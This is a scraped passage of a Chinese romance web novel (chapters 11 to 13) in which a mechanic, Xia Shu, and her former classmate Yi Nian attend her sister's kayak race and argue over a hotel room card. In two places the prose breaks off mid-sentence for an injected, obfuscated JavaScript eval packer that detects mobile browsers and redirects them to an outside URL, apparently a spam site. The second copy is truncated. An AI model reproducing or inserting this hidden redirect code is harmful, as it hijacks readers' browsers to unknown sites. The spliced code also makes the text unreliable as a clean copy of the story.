易年也下了车,自然地从她手上接过背包,放到了库里南后座,然后打开副驾车门:“上车。” “易姐姐呢?还没出来吗?”她问。 “刚刚过来的路上,她突然跟我说有点事,还不知道能不能去,让我们先走。” 夏树挑眉点了点头:“好吧,那你等一下。” 便利店的方向,保钦元手上提着购物袋,刚从店里出来。 夏树冲他喊:“小保,快点!” 女人的嗓音绵软通透,直达易年最敏感的神经,易年蓦地一怔,接着跟随夏树的目光看过去。 眸色渐深。 “夏树。”他的声音浸了些寒意,“我跟你说过没有多余的出入证,你非要带人去——” “算了,我不去了,你们去吧。” 易年很少叫她全名,夏树不由地将疑惑的目光落在易年身上。 他的眸色沉暗冰冷,似乎周遭的空气也连带着降了温。 他是不是以为夏树不守信,说了她一个人去,结果还带了人来,所以才说不去,是因为去了他会为难或者丢人? 夏树赶忙解释:“嗯,我知道,他不去,只是送我过来。” 静默片刻。 保钦元小跑着来到两人旁边,一脸惊讶:“卧槽,哥,你开劳斯莱斯啊!” 易年不知道眼前这人是因为见到这辆车还是什么原因,居然没了先前在医院看到的随性粗犷。 上次还叫他小兄弟,这次就喊他哥。 倒像是,添了几分谄媚。 易年百味交集地看向夏树,实在理解不了她为什么会看上这样一个人。 他没有回应保钦元,场面有些僵持不下。 说不上来为什么,夏树似乎从易年的眼神里看到了些不易察觉的敌意。 不知道是嫌弃保钦元身上沾了油渍的工装,或是因为其他原因不愿说话。 她总觉得越来越琢磨不透眼前这个人。 因为要抓紧时间赶路,她没多想,只把捷达的车钥匙递给保钦元:“你待会儿去多看几家,对比一下价,能砍下来一块是一块。” “好嘞,没问题。”保钦元接过钥匙,目光还时不时地瞟着库里南。 出于男人对车本能的喜爱,他终于忍不住了,期待地看向易年:“哥,你这车,我可以上去坐着感受一下吗,我还从来没摸过这么贵的车。” 易年眉心微微蹙起,沉默。 夏树打了下保钦元的肩膀:“坐什么坐啊,我们还赶路呢!” 易年用鄙夷的目光上下打量着保钦元,语气懒散:“我这车不是什么人都可以碰的!” 夏树:“???” 易狗这是什么意思? 易年说他的车不是什么人都可以碰,摆明了是不想让保钦元去碰! 可小保说的只是坐一下,摸一下而已,又没说要开着走! 虽说这是易年自己的车,他有权不让任何人去碰它,可好歹保钦元也是夏树的徒弟,易年用这样的眼神和语气对待保钦元,不就是看不起人吗! 自己的徒弟被这样轻视,夏树心里很不爽。 她语调中带着刻薄,对易年说道:“怎么,你这车黄金打的啊,怕别人碰一下就把它扣掉一块?这样的话那我可不敢坐你这车,”她转向保钦元,“小保,你送我去客运站,我坐大巴去青龙湖!” 见夏树怒形于色,又与眼前这位她的同学剑拔弩张,保钦元立马改了口:“没事没事,老大,我就随口开个玩笑!你看这身衣服这么脏,怎么好意思真的坐上去嘛。” 易年在一旁阴沉着脸,未置一词。 保钦元的右手在腰间蹭了蹭,想抻到易年面前,又缩了回去:“哥,上次在医院也没好好打个招呼,后来回去才听我老大说你们是同学,那天我说的话你可别往心里去。” “我叫保钦元,是老大的徒弟,现在在她手底下干活!她都叫我小保,你可以叫我保钦元,或者跟老大一样叫我小保也行。” 保钦元的话一出,易年的瞳仁轻微震颤了一下。 “小、保?” “对,保护的保。” 11. 第 11 章 原地怔楞两秒,易年主动伸出右手,眉宇间一扫先前的低气压,模样斯文坦然:“小保!你好,我姓易,叫易年。” 夏树:“?” 他这又是唱得哪出? 保钦元对此也很意外,他犹豫着伸出右手:“易哥,你好!” “我刚刚那句不是什么人都可以碰,后面话还没说完,”易年看了眼怒火中烧的夏树,慢条斯理地开口,“我想说,你是夏树徒弟,当然没问题。” “……” 夏树心中泛起疑惑,浅拧着眉:他刚刚那个模样,可一点都不像这个意思。 “不用不用,”保钦元连连摆手,“我身上脏,真的怕把车座弄脏了!” “不打紧,你请便!”说着,易年就做出了个邀请的手势。 保钦元看了眼夏树,又看向车子,终究还是没忍住,走到了驾驶室。 他没坐上去,只是摸了摸方向盘。 “好了,易哥,谢谢你,摸也摸过了,你们就赶紧上路吧,可别耽误了看林林的比赛!” “好的,那等我回来以后,你需要用车,”易年看向夏树,“可以直接让她联系我。” - 晨间的高速薄雾缭绕,或浓或淡、或灰或白,仿佛给公路铺上了一层轻纱,飞驰的车子像一把剪刀,一路将纱撕开。 可能是出于职业习惯对车子的敏感,从上车后夏树不由自主地打量着车内的一切。 果然,贵有贵的道理。 从车门关上那一刻,就像是一键开启了静音模式,座椅也不知比她的破捷达和小电驴舒服上多少倍,舒服到接连打了好几个哈欠。 就因为这车,夏树刚刚还差点跟易年吵了起来,好在他看上去并未介怀。 她无意瞄了易年一眼。 从离阳出发近半个小时,易年不像之前一样爱与夏树互怼,居然没说过一个字。 他就只顾着开车,神色浅淡,眼睛直视前方,从侧面看过去,透亮的双眸似乎还有些恍惚。 他这副模样,像是起早了,困了。 怕对方疲劳驾驶,夏树想主动跟他搭搭话。 她从保钦元递给她的购物袋里将矿泉水拿了出来,往左边递过去。 “你要喝水吗?” 易年微侧着头,看了一眼矿泉水瓶。 “不用。”语气不疾不徐,没有情绪。 夏树收回左手,指腹不自觉轻按了一下瓶身。 易年不喝水,会不会是嫌这瓶两块钱的矿泉水便宜? 她又从购物袋里将另外的那瓶牛奶拿了出来,亮在易年眼前。 “我这只有一瓶水和一瓶牛奶,我记着你不爱喝牛奶,所以才递水给你。” 挤了挤嘴角,又补充,“你别嫌它便宜,想要贵的我这也没有。” 这话才一说完,夏树就感觉听上去有点像在挑衅。 她分明没有这个意思。 易年:“你还记得?” 声音轻悠悠的,意味不明。 “当然啊,你的吃的用的,哪件东西便宜过。” “我是说……”他轻挑着眉,停顿片刻,“算了,没什么。” 夏树皱着眉头,侧目:“这瓶水,真不要?” “不用,车上有。” 车厢安静下来。 夏树还是想多跟他说话,让他打起精神。 “易年,我们聊聊?” “聊聊?”易年暼了一下眼角,鄙夷的语气,“我应该没惹到你吧。” 嘶…… 夏树倒吸一口气,是她语气太强硬了? “我不是这个意思,我是想说我们随便聊点什么。” “你想聊什么?” “都行啊,你的近况,兴趣爱好,或者前些年发生的事,随便想说什么都行。” “你这是,”易年挑着眉,轻轻哼笑一声,“查户口?” 夏树:“……” 我谢谢您嘞。 “早上起得早,我现在都有点困了,然后看你开车有点恍惚,怕你疲劳驾驶,才想跟你聊聊天。” “豪车不配司机还挺少见,你要是真困了,这么贵的车我也不敢替你开。” “你睡你的,”易年语气平平,“开车时候有人在我耳朵旁边叽里呱啦吵个不停,我才会分心。” 所以,他是嫌她话多的意思? “不识好歹。” 夏树用几乎只有自己听得见的音量抱怨一句,随后用眼尾扫了他一眼,便扭过头抱起双臂,闭目养神。 - 昏昏沉沉之中,夏树的手机突然响了几声。 猛地睁眼,不太熟悉的车厢和车外陌生的环境,让她在那一瞬以为是在做梦。 夏树下意识坐直,迅速瞥向左边。 易年微微侧身,单手举着手机,四目相对之时才把手机放下。 她的第一反应是,不愧是豪车,还真好睡。 回过神,从兜里掏出手机,保钦元在师徒四人的群里发信息问她到了没,罗超和罗勇附和着让她实时分享夏树比赛的消息,她回了个刚到。 发完信息,看了眼时间,已经十点多,照理说应该已经到了一会儿了。 夏树心里窜出一股无名火。 这时,易年拿起放在手套箱上的白色鸭舌帽,打开了车门:“走吧,先进去。” 夏树紧跟着下了车。 易年步行速度不算快,她几步就并了上去。 他比她高了一个头还多,她侧仰着头,语气不太和善:“到了也不叫我,不知道我妹有比赛啊?” “然后呢?” “你就不怕我睡过了,错过她比赛。” 易年神色自若,摇了摇头:“不怕。” “我说你——”夏树想说他两句,又想到还欠着人情,便收敛了音调。 “你睡这么死,估计叫也叫不醒,”他的语气轻佻,“而且,我知道你妹比赛时间。” 离夏林上场还有一个多小时,运动员不能离队,确实进去早了也白搭。 易年既然知道比赛时间,那应该就说明他不是故意不叫她。 夏树有些为难撅了下嘴:“哦。” 继续跟在易年身侧走着,她突然想起睁眼时看见他举着手机。 “我说,你刚刚不会是在偷拍我吧?” “没有,”易年瞥她,“我只是把你打呼流口水视频录下来了,下次你再发鬼故事吓我,我就看视频辟邪。” 她皱着眉,将信将疑地摸了摸嘴角,确定没有水渍,又打开手机前摄像头,也没有看见口水干了的痕迹。 “易年!”她愠恼道,“你有毒吧!” 易年懒得搭理她,只是稀松地扯了下唇角。 - 凭着出入证,夏树和易年顺利进入了赛场。 一个挂着出入证,穿着衬衣西裤的中年男人站在入口不远处,看见两人进去,立刻迎了上来。 “易总,您好您好!” 男人抻着右手,很恭敬,跟夏树面对客户时的模样相差无几。 夏树有些愣神。 七年未见的高中同学,重逢,突然有人叫他易总,那种感觉很微妙,像是昨天还是少年,到了今天,就直接跨成了大人。 易年轻抬右手,微微颔首,眼神中透露出了与这个年纪不太相符的稳重与自信。 仔细回想,高中三年,易年除了偶尔跟她拌嘴,在别人面前时都很沉稳。 重逢后还没见过他和其他人交际,只见他跟自己拌嘴,差点忘了他还有这一面。 中年男人将右手伸向夏树,微微弓腰:“您好。” 夏树僵在原地。 平时修车的时候,从来没跟谁握过手。 或者可以说,她几乎没去过需要握手交际的场合。 在这一瞬间,她回想起出发前在易雯溪家门口,保钦元的右手没有伸向易年,而是在腰间蹭了蹭。 她好像有点能理解了。 此刻的夏树,面对一个陌生人的正常社交礼仪,她也觉得难以将手伸出去。 不是怕跟异性触碰,归其原因有两个。 一是她几乎没跟人握过手,不习惯。 其二,她用右手大拇指刮了一下掌心的茧,再看了一眼这个中年男人。 虽然他对自己的模样也很恭敬,但是从衣着和气场来看,这人肯定也属于自己修不上他的车那一类人。 像是过了好久,其实就只过了两三秒。 “您好。” 男人的右手仍悬在半空,面带礼貌笑意。 夏树不自觉瞟了眼易年,像是在征得他同意一般,才将右手伸了出去。 男人跟易年说黎总正在和主办方的人谈事情,所以派他来接他,易年说了声“好”,说完男人就要引着易年往前走。 夏树站在原地未动:“那个,那你忙去吧,谢谢你和易姐姐带我进来,我就先去找我妹了。” “等等。” 她才往与两人相反方向走了一步,易年叫住了她。 “你知道往哪走吗?” 夏树回头,眼珠转了半圈:“我去问下工作人员。” “你不知道运动员比赛期间不可以离队吗?” 夏树当然知道。 她站在原地,没说话。 “跟我走。” 说完这句话,还没等夏树开口,易年就伸出一根手指,勾住夏树的背包提扣,像是拎小猫后脖颈似的将夏树拎着往前走。 可能是因为不知道往哪里走,而且也确实没地方可去,夏树没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717336|144793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有挣扎,就那样由着易年提溜着她。 往前走了两三米,易年才松开手。 中年男人把他们带到一个临时搭建的观赛台,虽简易,却也样样齐全,还有一台转播实时赛事的电视立在旁边。 不远处,青龙湖,裁判员正在公布赛事和运动员信息。 夏树看了一眼电视屏幕,准备比赛的是男子双人皮艇500米。 夏林的第一场比赛也是双人500米,看见运动员们在各自航道上蓄势待发,想到自己的妹妹还有一个小时就要像他们一样上场,这一刻她才有了紧迫感。 突然加速的心脏使她鼻头一酸,也许是被激烈的赛事感染,眼睛竟然蕴起水雾。 易年和黎卓的助理说完话回头,看见鼻尖发红的夏树,神色一滞。 片刻后,他的嘴唇一开一合,无所适从地捏着手上的白色鸭舌帽:“怎么了?” 夏树:“在这儿离得太远了,我想挨近点看看。” 易年:“一起,我正想过去。” 潮湿的热风吹过湖面,推着夏树头发摆动,眉眼被太阳照得皱了起来。 她将鬓角的碎发掖到耳后,目不转睛地注视着湖面上的运动员。 其实站在湖边的视野根本不及现场转播,但是通过自己的眼睛看见航道上的运动员,却比看屏幕更有实感。 伴随着一声“滴”,这一组的比赛结束。 夏树的目光还留在运动员身上。 易年轻咳一声:“结束了。” 她勾起唇点了点头:“嗯。” 易年:“不回去?这里太晒了。” 夏树没听进易年的话。 似乎是延续了曾经的肌肉记忆,她抬手拍了两下易年的手臂。 “诶,你说,这些体育生还真是比咱们那时候的高中生看着更有朝气,咱们班那会儿好多人都是书呆子,也就你们几个爱打篮球的看着要活络点。” 温热的指腹触碰到易年的皮肤,他不自觉翕动着眼睫。 “好像是。”声音很轻。 夏树感叹着“啧”了一声,“那句酸话说的挺对,‘人不能同时拥有青春和对青春的感悟’,我妹他们这个年纪,真好啊。” 尾音刚落,夏树突然察觉头顶被压了一下,紧接着眼前光线暗了几度。 她抬眼,看见了白色帽檐。 “你干嘛?”她问。 易年:“我怕头发被压乱了,借你的头放下帽子。” 夏树嘬着一边嘴角瞟他一眼。 正好,自己没带帽子来。 “那就先借你放一下,”她说,“你过去吧,我就在这儿了。” 易年抱起双臂:“怎么,只有你能在这儿,我不能?” 夏树无语地叹了声气:“不识好歹,我是看你细皮嫩肉的,可别在这里晒坏了。” “你这是……在夸我?” 夏树:“……” “随便你,你爱在哪儿在哪儿。” - 比赛是男生和女生交替上场,基本上十多分钟轮一组,又看了三组,终于听见裁判员宣读信息。 夏树立刻掏出手机开始录像。 “……现在是……皮划艇第16届运动会预赛,女子双人500米皮艇小组赛第三组:一道何艳、陈露,二道王佳怡、刘丹,三道夏林、陶菲菲,四道……” “请运动员进入航道。” “比赛正式开始,readysetgo!” 伴随着一声“滴”,六只皮划艇同时出发。 夏树的心瞬间被揪了起来。 她的视线一直聚焦在第三航道,紧张到连呼吸都变得小心翼翼。 每一秒钟似乎都过得很慢。 赛程过半,三道的皮划艇明显落后于其他航道。 夏树忍不住喊出声:“林林,加油啊。” 她的音量并不算大,夏林不会听见。 但就在下一秒,湖面上的夏林就像听见姐姐的呼喊一般,铆足劲,配合着陶菲菲一起冲刺,花了十多秒,就快赶上领先的一组。 夏树的心脏快跳到嗓子眼儿了,说不出话,只能在心里默喊“加油”。 “滴”的一声,比赛结束。 夏树激动得抓起易年的手臂,声音却很小:“易年,我没看错吗?三道第一了?” “应该,没看错。”易年垂眸看着那只不太滑嫩的手,滚动了一下喉结,声音柔软,“大屏幕是应该很快就出成绩了。” 听了易年的话,夏树将视线移到了大屏幕上。 没松手,甚至力度还重了几分。 不多时,成绩跳了出来。 “啊——” 夏树激动得摇晃着易年的手臂,回头时,失控地将双手勾在易年肩上,原地蹦跳。 12. 第 12 章 “我妹,夏林,她是第一。” 易年的双肩被夏树的手掌轻轻晃着,眼底波光微转,盛着不易察觉的笑意,嘴唇几欲开合,才说:“嗯,看见了。” 夏树激动的心情还未冷却,但注意到这个姿势好像有些越界,便收回双手。 平时跟三个徒弟在一起,修车过程中偶尔会有需要他们协助的时候,他们都是关系亲近的人,大方且正常的肢体接触,在夏树看来没什么问题。 可刚刚…… 夏树似乎是像高中时一样,还把易年当成亲近的朋友,才不受控地“借用”了他的肩。 或许是被太阳照过,易年的脸颊看上去微微泛红,倒是看不出介意的意思,夏树也就没再多想。 她把手摊开在易年面前:“你看我的手,还在发抖。” 易年抬手,想去握住夏树颤抖的手,帮她平复下来,动作却突然停滞,变成教她自上而下顺推气息。 “深呼吸,调整一下,现在应该可以过去找她了。” 夏树照着易年的话做着深呼吸,两人都没注意到慢慢靠近的一行人。 “易年。”黎卓走到近处,喊了他一声。 易年和夏树循声看去,一个气质卓群的女人走在前头,后面还跟着两男一女,在门口迎接易年那人也在其中,几人向易年毕恭毕敬地叫了声“易总您好”。 易年微微颔首示意,随后朝黎卓走了几步:“黎总,忙完了?” 黎卓脸上笑意收了几分:“跟你说了别一天到晚黎总黎总的叫。” 易年嘴角噙笑:“好的,卓姐。” 黎卓眼含笑意看向夏树:“这位是?” 易年轻抿了下唇,静默两秒:“她是我高中同学,叫夏树,”说完又对着夏树,“这位是凌飞运动的黎总,也是我姐的离婚搭子,就是她安排咱们进来的。” 凌飞运动是个国民认可度很高的运动品牌,这次皮划艇比赛的服装就是由凌飞赞助,夏树自然是听说过的。 只是没想到,眼前的女人竟然是这么个大品牌的老总,而且还这么年轻。 有了上一次握手打样,这次夏树心里没有扭捏,而是大方地向她颔首,伸出右手:“您好黎总,我叫夏树,夏天的夏,大树的树,谢谢您能给我机会,让我来看我妹妹的比赛。” 听上去很官方,但确实是夏树的肺腑之言。 “不用这么客气。”黎卓优雅地伸出右手,笑道,“你好,黎卓。你的名字很好听。” 听见有人强调自己的名字时,夏树不太自然地扯了扯唇。 夏树突然想起黎卓的第二个身份。 她仰头看向易年:“不过为什么黎总是易姐姐的离婚搭子?” 黎卓:“我和她姐,同一年结的婚,然后巧的是,又在同一年都离了婚。” “黎总和易姐姐居然都结过婚,还离了?”夏树不可置信地瞪着眼睛。 黎卓笑道:“不像吗?” “可是你们这么年轻……” 事业有成的女人不都应该是晚婚吗? 易雯溪看上去也就二十七八岁,眼前的黎卓看着比易雯溪大不了几岁,要是不说,根本不敢相信她们都结过婚。” 黎卓:“我比雯溪还大四岁,三十五啦。” “我——” 夏树条件反射开了口,“去”字还没说出来就及时刹住了车,“我真没看出来,黎总看起来绝对没有三十岁。” 不是奉承,而是她真心这样觉得。 黎卓:“你也不要叫我黎总啦,跟易年一样,叫我姐就行。” 说完,她将斥责的目光投向易年,“我说你可真行,女朋友就女朋友,还说是高中同学,在我面前有什么好藏着掖着的。” 居然被黎卓误会成了男女朋友…… 夏树立刻否定:“黎总,您误会了,”她瞥了眼易年,“我们不是那种关系。” 黎卓眉头稍挤,眼神疑惑:“啊?可是我刚刚看你俩那么亲密……” 亲密?刚刚? 夏树猛然想起,看见夏林成绩时候激动得忘乎所以,好像把手搭到了易年肩膀上来着。 难怪会被误会。 “姐,我们就只是高中同学。”易年轻扬着眉,语气平平,说完又不痛不痒地补了句,“她看不上我。” 你没事吧? 夏树不知道易年为什么突然冒出了这么一句话莫名其妙的话。 直接否认不是男女朋友就好了,还非要说什么她看不上他,搞得好像她多不识抬举似的。 莫非是因为上次易年说她占他便宜,然后她阴阳他时发的那句“不要强行自我攻略,我可一点都看不上您”,所以他才故意在这时候故意说出来。 为了,报复? 她侧目瞪着他,眼神警告他说话适可而止。 易年从容自若地朝她挑了下眉,像是在强调自己没有说错。 黎卓:“没事没事,来日方长,好事多磨,姐姐我的眼睛就是尺,你俩今后绝对能成。” 不知道黎卓这话是回应刚刚易年说的话,还是说给夏树听。 总之,听起来很别扭。 夏树讪讪一笑:“那你们先聊,我先去找我妹妹,她刚刚下场。” “是吗?”黎卓视线投向大屏幕,“你妹妹……是叫夏林吧,好名字,树、林。厉害啊,她们居然小组第一了。” 夏树自豪回答:“是的,就是夏林,小组第一。”声音很响亮。 黎卓:“那我们一起过去?你长得这么好看,我还挺好奇你妹妹是不是也跟你一样水灵。” “嗯,一起走吧。”还没等夏树说话,易年就先开了口。 也不是夏树不愿他们一起去,凌卓是赞助商,她专门去看夏林,夏树自然乐意。 只是这话由易年说了出来,感觉怪怪的,明明是去看她的妹妹,跟易年无关,说得好像夏林是他妹妹一样。 - 运动员休息区,教练余震东正在和夏林陶菲菲复盘刚刚的比赛。 一行人过去的途中,黎卓遇到一位组委会人员,说让易年和夏林先过去。 夏树看见夏林时,怕她还在说正事,就只站在远处等着,易年也跟着她站在那里。 方才已经平复下来的心跳又开始加速跳动。 她做了两组深呼吸,手肘拐了下易年:“你看我现在是什么样?” 易年凝眉看她:“嗯?” “就是看着我很平静,还是很激动?” “表情平静,眼神激动。” 夏树搓了搓自己的脸,自言自语:“完了完了,要赶紧平静下来。” “我没看懂,”易年说,“你妹都得第一了,你激动不是很正常吗?“ 夏树手上的动作停下来,嘴唇被双手挤得嘟了起来。 她白他一眼:“你不懂就对了。” 这场比赛,对夏林很重要。 夏林已经有自己的目标大学,但她上的体校是中专,文化成绩差,要想上那所大学,捷径就是在大赛获得名次,拿到运动员等级证后直接考。 但近几年因不可抗力,赛事很难举办,所以这次可能是她中专生涯最后一次参加大赛,预赛通过才能进入半年后的决赛,在决赛中获得至少前六名才能有运动员等级证。 比赛前夏林就因为身高原因一直很焦虑,但夏树从未给她任何压力,只让她量力而行。 夏林明天还有一场单人4000米的比赛,如果夏树在这个时候表现得太激动,怕给夏林心理负担,反而让她到时候在比赛中失利。 所以夏树只能让自己像平常一样面对夏树。 “姐!”教练交代完事项,夏林抬眼就看见了夏树。 她欢脱地跑到夏树面前,看见旁边的易年,有些腼腆地朝他打了个招呼:“哥哥好。” 易年微微一笑:“妹妹好!” 夏树克制着自己的激动:“我还是第一次见你比赛,不愧是我妹,挺猛。” 夏林抿了抿唇:“也不知道最后排名怎么样,待会儿还有一组,她们比完才出总成绩。” 夏树摸了摸她的头:“没事,你自己尽力了,就很棒了。” 谈话间,教练余震东突然走了过来,脸色难看:“夏林,这是你家人?” 夏林有些不知所措:“对,这是我姐。” “比赛不对外开放你是知道的,你这样明目张胆违规,叫外人进来,是想干什么?” 几人之间距离不远,但余震东却没有控制说话音量,像是故意说给夏树听。 “教练您好!”夏树嘴角上扬,模样恭敬,“我妹没违规,是我自己进来的。” 余震东眉头挤到一起,语调不太客气:“我们的比赛外人是不能进的,”他瞟了易年一眼,“你们擅自进来我就不说什么了,还请你们现在就离开比赛区域,今年离阳市是东道主,给其它地州上的人看见我们的人不守规矩,不合适。” “我不是——” 夏树还没说完,易年就从裤兜离将两个出入证拿出来亮在余震东面前。 “我们拿这个进来的,应该不用出去吧。” 他的语调平平,眼神却带着威压。 “组委会怎么回事,还真是什么人都可以花钱进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏树再一次在心里骂了易年有病,非得说些让黎卓误会的话,导致她此刻在众人面前社死…… 闲聊片刻,怕影响其他运动员,一行人并未在运动员休息区过多停留,夏树跟着易年和黎卓回到观赛区。 最后一组女子400米皮艇比赛结束,大屏幕是打出了名次,夏林和陶菲菲果真拿了第一。 夏树迅速跟三个徒弟和周雨唯分享了这一好消息。 黎卓说她要和主办方一起吃中午饭,不能招待夏树和易年,让他们到附近的饭店尝尝当地特色,说完便先行离开。 或许是人逢喜事精神爽,夏树看易年都顺眼了许多。 白色poloshirt把他的脸衬得清俊无暇,鸦羽般的长睫下星眸熠熠,含着显眼的笑意。 看了眼时间,易年偏了下头:“你妹他们应该要集合了,我们也走吧。” 夏树:“你之前不是说来这边有事吗,你可以去忙你的,不用管我。” 易年:“再忙不也得吃饭?” “嗯,也是。”夏树点开附近美食榜,“你想吃什么,我请你。” 易年眉梢稍扬:“不用。” “喂,姐心情好,请你搓一顿,别不识好歹!” 易年带她来看了比赛,而且夏林拿了个第一,再加上最近汽修厂营收不错,所以想请他吃饭。 他反倒不乐意了。 易年懒洋洋道:“餐厅我早就订好了,不去不退钱。” “这样啊……” 那倒给她省钱了。 夏树装起手机,像是得了便宜还卖乖,瘪了瘪嘴,遗憾的语气说道,“那就没办法了,我只有下次再请你。” 两人去到一个青龙湖景区附近的一个星级酒店,吃的是青龙湖特色湖鲜。 夏树没吃多少就放下了筷子,只顾着跟徒弟们和周雨唯发信息,没怎么和易年说话。 “就不吃了?”他问。 “嗯,早上在易姐姐家门口吃了碗面,吃的大碗,现在也没什么胃口。” 说完,夏树继续低头打字。 易年突然将一个精致的纸质卡套递到夏树面前:“拿着。” “这是什么?” 夏树放下手机,打开卡套。 里面,居然是一张房卡! 她的瞳孔微颤,渐渐将疑惑而惊讶的目光移到易年身上。 易年眉梢微抬,神色懒懒:“上去睡一觉。” 13. 第 13 章 易年说,睡一觉…… ? 睡一觉? 夏树猛吸一口气,眼睛陡然睁大,上半身不自觉往旁边移,与易年拉开距离。 难怪从早上见面后就没跟她斗嘴,难怪没安排司机,难怪之前还特别强调没有多余的出入卡,只让她一人来……合着是打了这种主意。 “易年!你有病吧!”她语调激愤,“难道说我欠了你人情,就必须得肉偿?请问你是在做什么春秋大头梦?咱们好歹是老同学,我不想把话说得太难听,但我劝你最好别异想天开。” 易年单手支着太阳穴,意味深长地看着夏树,嘴角还挑起一抹飘飘然的浅笑。 夏树拍了下桌子,审问的语气:“你笑什么?!” 他稍抬下巴:“你继续说。” 话都说这么直白了,还不死心? 夏树的火气越攀越深,她抱起双臂,正准备铆足劲儿骂他几句,又改了个主意。 她平静地抬着唇角,礼貌说道:“你说了知道我看不上你,对吧,那你知道什么原因吗?” 易年忽然坐直身子,双手虚搭在一起,两只拇指缓慢转着圈,脸上严肃了些:“什么?” “我喜欢女生,我是拉拉。” 说这话的时候,夏树皱着眉,像在宣誓一样,表情很认真。 易年挑眉,静默片刻:“哦?是吗?” “对。” 怕他还抱有幻想,夏树干脆总结性发言:“我有情感洁癖,所以,我们只能当兄弟,至于其他的,我实在——” “你脑子里在想什么?” 易年突然懒洋洋地打断了她。 说着,他从裤兜里掏出另一张房卡,随意扔在在桌子上。 “我没说要跟你一起睡,你才是别异想天开。” 夏树凝着眉,嘴唇抿成直线。 所以,她这是,理解错了? 嗓子发涩,想说点什么,但是此刻,像是丧失语言功能一般,她半个字都吐不出来。 真他妈尴尬。 战术性咳了几声,又抿了几口水,气氛终于缓过来点。 夏树将面前的房卡推到易年面前:“你试试出去把房卡随便给一个女孩,让她们上去睡一觉,她们是什么反应。” “还问我脑子里想什么,我至少还有脑子,你连脑子都没有!” 易年被气笑了:“说你是白眼狼你还不认,大中午的没地方去,我好心给你房卡,让你去睡一会儿补个觉,你反倒说我没脑子?” “谁要你房卡!我要睡觉要休息不会自己订啊!”说着夏树就掏出了手机,“我现在就定。” 易年拿起房卡在桌上敲了几下:“哎,别定了,别浪费那个钱。” “我花我的钱,你管我浪费不浪费。” “我是说,别浪费我的钱,”易年又将房卡推到夏树面前,“易雯溪不来了,这个原本是她的房间,现在空着不就是浪费我的钱。” - 酒店的电梯里,三面墙都是黄铜色的镜面。 夏树缩在角落里,没说话。 说易年没长嘴吧,他损人时候可是张口就来,说他长嘴了吧,又是经常性地不把该说的话说全乎。 就像刚刚吃饭时候,直接说清楚,是易雯溪来不了,她的房间空着没人住,所以才让夏树去住。 他可倒好,不说,扔个饭卡就只说一句上去睡一觉…… 她倒也不是那么死板的人,不会闹了点尴尬的误会就只想着钻地缝。 就像易年说的,房间空着也是浪费了他的钱,她来住了,自己的开房钱也省下了,算是一举两得。 “喂!”易年突然抬手敲了下夏树头顶的帽檐,“不就是出了点洋相,至于吗,想钻墙里去啊?” 帽檐向下一压,遮住了夏树一半的眼睛,她直接将帽子摘了下来。 她从墙面镜里看了眼自己的站姿。 后背被背包压得微微弯曲。 这段时间汽修厂忙,她已经连鸽了两次鬼故事的更新,所以带了收音设备,想着空闲的时候尽量录几个出来,东西背在背后不算轻。 她抬眼,泰然自若地跟易年对视:“包重,靠着墙,不行吗?” “人这么小一只,还非得背个大包,自己跟自己过不去?” 好的,他又长嘴了。 其实夏树也不算太矮,净身高一米□□,也就易年爱说她小个子。 她抬头细细打量了一下,易年好像高中毕业后又长了几厘米,那时候他就一米八五左右了,现在看上去,应该接近一米九。 碰巧电梯门打开,夏树没回话,直直走了出去。 走出电梯间,她抽出房卡比对着墙上的指路标。 易年突然从后面提起她的背包提手,懒洋洋道:“这边!” 夏树就这样被牵引着往左边走,后背反而轻松了许多,直到去到房间门口,易年才把手松开。 两人的房间仅一墙之隔,易年没有立刻刷开房门,而是从兜里掏出车钥匙,递给夏树:“我下午出去办事,你要去赛场就自己开车去。” 夏树没接。 “我不去了,下午我妹没有比赛。” 他的手仍悬在空中:“那你自己开着去逛逛。” “别,”夏树果断摆手,“你这个车要是磕了碰了,我可赔不起,再说了,这么热的天,我哪也不想去。” 待在房间里吹着空调,录着鬼故事,不比出去瞎逛悠舒服。 易年挑眉,声音懒散:“随你。” “我晚上不回来吃饭,你在酒店点餐,不用给钱,报房号就行。” 夏树“哦”了一声,把手里的帽子递给易年:“还给你。” 易年视线下移,恬不为意地瞟了眼白色鸭舌帽:“你回去洗干净,下次再给我。” 夏树:“……” - 房间的床很舒服,夏树补了个觉才开始录音,但是整个下午一直沉浸在夏林拿了第一的喜悦中,情绪很难投入进去,导致效率很低。 想着酒店的消费不便宜,不想再多欠人情,晚饭时间,她没在酒店点餐,只是随便叫了个外卖。 盛夏天黑得晚,七点半,太阳还未完全落下。 闷了一整天,她打算出去走走。 离酒店不远的地方,有一个荷花公园,夏树开着导航走过去,正好赶上夕阳余晖即将退尽,她便找了条长椅坐下看太阳落山。 橙黄色的半边天在聒噪的青蛙叫声中显得不太恬静,没过几分钟,原本露在山头的夕阳就急不可耐地隐藏起来。 太阳完全落下,夏树觉得眼前的景有些无趣。 小时候和庄村也有几家农户种了莲藕,荷叶荷花对她来说不算新奇,不远处还有个老年姐妹团在拍照打卡,她甚至觉得那一群阿姨比眼前的荷花更有看头。 熟悉的荷塘淤泥味混杂着荷花清香灌进鼻腔,她不由得想起了那个好几年都没有回去过的家。 …… 很久没有让自己放空过,她竟坐着出了神。 直到手机响起,回过神,已是薄暮冥冥。 夏林打电话来说他们已经回了运动员休息的酒店,又问夏树找到住的地方没。 闲聊几句,夏树没有主动提及夏林成绩的事,夏林却先说了起来。 “其实我觉得今天能拿第一主要是靠我队友陶菲菲,u18的运动员里就她的经验最丰富,之前已经参加过好几次大赛,而且也拿过名次,估计明天的单人比赛我可能都出不了小组。” 